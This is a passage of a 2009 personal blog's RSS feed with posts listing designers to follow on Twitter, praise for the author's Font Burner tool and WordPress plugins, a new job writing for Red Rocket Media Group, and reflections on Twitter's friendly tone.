<p><a href="http://digitallabz.com/blogs/100-web-designers-to-follow-on-twitter.html">100 Web Designer&#8217;s to follow on Twitter</a> according to Digital Labs</p>
<p><a href="http://vandelaydesign.com/blog/social-media/designers-on-twitter/">50+ Designers on Twitter</a> according to Vandelay Design</p>
<p><a href="http://sixrevisions.com/graphics-design/16-genuine-authentic-designers-on-twitter/">16 Genuite, Authentic Designers on Twitter</a> according to Six Revisions</p>
<p><a href="http://bestwebdesignschools.com/2009/25-most-popular-web-designers-on-twitter/">25 Most Popular Web Designers on Twitter</a> according to Best Web Design Schools</p>
<p><a href="http://thinkvitamin.com/features/top-web-designers-to-follow-on-twitter/">44 Web Designers to Follow on Twitter</a> according to Think Vitamin</p>
<p><a href="http://grainedit.com/2009/03/19/50-designers-on-twitter-our-favorites-to-follow/">50+ Designers on Twitter</a>, Grain Edit&#8217;s favorites</p>
]]></content:encoded>
			<wfw:commentRss>http://adrian3.com/2009/05/web-designers-on-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ego Surfing: Project Updates</title>
		<link>http://adrian3.com/2009/04/ego-surfing-project-updates/</link>
		<comments>http://adrian3.com/2009/04/ego-surfing-project-updates/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 04:58:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Inventions/Creations]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[News/Updates]]></category>
		<category><![CDATA[Random Thoughts]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[projects]]></category>
		<category><![CDATA[updates]]></category>

		<guid isPermaLink="false">http://adrian3.com/?p=396</guid>
		<description><![CDATA[It is relatively rare for me to go ego surfing, but last night I spent some time checking on my various web projects to see where the traffic is coming from. Font Burner is quickly gaining on my Lego camera as one of my biggest hits. Here&#8217;s some of the places around the internet sending [...]]]></description>
			<content:encoded><![CDATA[<p>It is relatively rare for me to go ego surfing, but last night I spent some time checking on my various web projects to see where the traffic is coming from. <a href="http://www.fontburner.com/">Font Burner</a> is quickly gaining on <a href="http://www.foundphotography.com/2006/05/lego-camera-update/" class="broken_link">my Lego camera</a> as one of my biggest hits. Here&#8217;s some of the places around the internet sending praise my way:</p>
<p><strong>Font Burner</strong><br />
<a href="http://www.smashingmagazine.com/2009/01/27/css-typographic-tools-and-techniques/">Smashing Magazine lists Font Burner among their list of 50 Useful Design Tools For Beautiful Web Typography</a>.</p>
<p><a href="http://sixrevisions.com/graphics-design/20-useful-typography-tools/">Six Revisions lists Font Burner as one of their top 20 Useful Typography tools</a>.</p>
<p><a href="http://www.tripwiremagazine.com/Tools/Font-Tools/typography-font-mega-toolbox.html">TripWire Magazine lists Font Burner among their picks for 60+ Typography &#038; Font Mega Toolbox</a>.</p>
<p><a href="http://speckyboy.com/2009/01/12/21-typography-and-font-web-apps-you-cant-live-without/">Speckyboy Design magazine praises Font Burner as one of 21 Typography and Font Web Apps You Can&#8217;t Live Without</a>.</p>
<p><strong>Font Burner WordPress Plugin</strong><br />
The Font Burner WordPress plugin has about 1500 downloads from the <a href="http://wordpress.org/extend/plugins/font-burner-control-panel/stats/">WordPress Plugin directory</a>.</p>
<p><strong>iPhone Control Panel Plugin</strong><br />
<a href="http://wordpress.org/extend/plugins/iphone-control-panel/stats/">Over 250 downloads so far</a>.</p>
<p><strong>Found Photography</strong><br />
<a href="http://blog.epicedits.com/2007/11/07/87-great-photography-blogs-and-feeds/">Listed as one of 87 Great Photography Blogs and Feeds by Epic Edits</a></p>
<p><strong>Phone Feedr</strong><br />
Phone Feedr has been added to the web app section ofApple&#8217;s website. I can&#8217;t say that has lead to a flood of traffic, but 18 sites have signed up so far, so that&#8217;s something.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrian3.com/2009/04/ego-surfing-project-updates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I am blogging about design again</title>
		<link>http://adrian3.com/2009/03/i-am-blogging-about-design-again/</link>
		<comments>http://adrian3.com/2009/03/i-am-blogging-about-design-again/#comments</comments>
		<pubDate>Tue, 10 Mar 2009 04:34:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[blogging about design]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[red rocket media group]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://adrian3.com/?p=386</guid>
		<description><![CDATA[I know what you are going to say. Another blog? Well, yes, I am adding my voice to the Red Rocket Blog. If you haven&#8217;t heard, I recently started working for Red Rocket Media Group up the road in Windsor. I love the place so far, and a blog is just one of the things [...]]]></description>
			<content:encoded><![CDATA[<p>I know what you are going to say. Another blog? Well, yes, I am adding my voice to the Red Rocket Blog. If you haven&#8217;t heard, I recently started working for <a href="http://www.redrocketmg.com/">Red Rocket Media Group</a> up the road in Windsor. I love the place so far, and a blog is just one of the things they do to keep ahead of the curve. </p>
<p><a href="http://www.redrocketmg.com/blog/what-is-design-and-how-can-you-use-it-to-make-money/" class="broken_link">My first post</a> went live yesterday and I am looking forward to talking about design again regularly. When I wrote for Be A Design Group and the audience of mainly designers it was a bit like &#8220;preaching to the choir&#8221; so the expanded audience should give me plenty of new material to explore. After all, if a designer can&#8217;t communicate with non-designers he isn&#8217;t much of a designer. That&#8217;s my opinion at least. I hope you add Red Rocket to your regular reading and jump into the conversation by leaving comments. See you over there!</p>
]]></content:encoded>
			<wfw:commentRss>http://adrian3.com/2009/03/i-am-blogging-about-design-again/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter restored my faith in humanity</title>
		<link>http://adrian3.com/2009/03/twitter-restored-my-faith-in-humanity/</link>
		<comments>http://adrian3.com/2009/03/twitter-restored-my-faith-in-humanity/#comments</comments>
		<pubDate>Sun, 08 Mar 2009 17:51:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Random Thoughts]]></category>
		<category><![CDATA[designers who twitter]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[twittering designers]]></category>

		<guid isPermaLink="false">http://adrian3.com/?p=384</guid>
		<description><![CDATA[(First of all, if you are on Twitter, my handle is ade3. If you are on Twitter let me know so I can follow you.) It is kind of silly to put the weight of the world on the shoulders of something as trivial as Twitter, but that&#8217;s what I am going to do. Unlike [...]]]></description>
			<content:encoded><![CDATA[<p>(First of all, if you are on Twitter, <a href="http://twitter.com/ade3/">my handle is ade3</a>. If you are on Twitter let me know so I can follow you.)</p>
<p>It is kind of silly to put the weight of the world on the shoulders of something as trivial as Twitter, but that&#8217;s what I am going to do. Unlike Facebook where you only interact with people you already know, your Twitter network is farther removed. You follow friends of friends and people you are interested in but don&#8217;t know personally. In general, I am not very trusting of people outside of my safe circle of friends. Part of this is just general insecurity, but the other part is from observations about how strangers interact with each other online. For example, take a look at Digg or YouTube and follow almost any comment thread. The comments are filled with hateful arrogant people that tear people apart for no reason at all. Read enough of the negative threads and you seriously start to question what has become of the human race. </p>
<p>So I guess that was part of my hesitation about joining Twitter. Why would I expose myself to people I don&#8217;t know and another source of negative comments? As a blogger my experience is that the most vocal group of commenter isn&#8217;t the people that liked your posts. The people who comment are the ones who don&#8217;t like your ideas. That negativity is a big part of the reason I stopped writing for Be A Design Group and its audience of designers.</p>
<p>Once I started tweeting and following people on Twitter I was surprised by the tone of everything people wrote. Tweets are generally honest and trusting. Conversations are helpful and sincere. People are grateful when you follow them and generous in their interactions. This was the opposite of what I was expecting. Maybe my perception of humanity was a little off.</p>
<p>Despite evidence to the contrary, people are generally good. Most people will help you when you are in need. Twitter proves how much each of us craves friendship and how quickly we can let our guard down and invite people see behind the walls we construct. That is good news for people like me who were beginning to wonder where all the good people had gone.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrian3.com/2009/03/twitter-restored-my-faith-in-humanity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
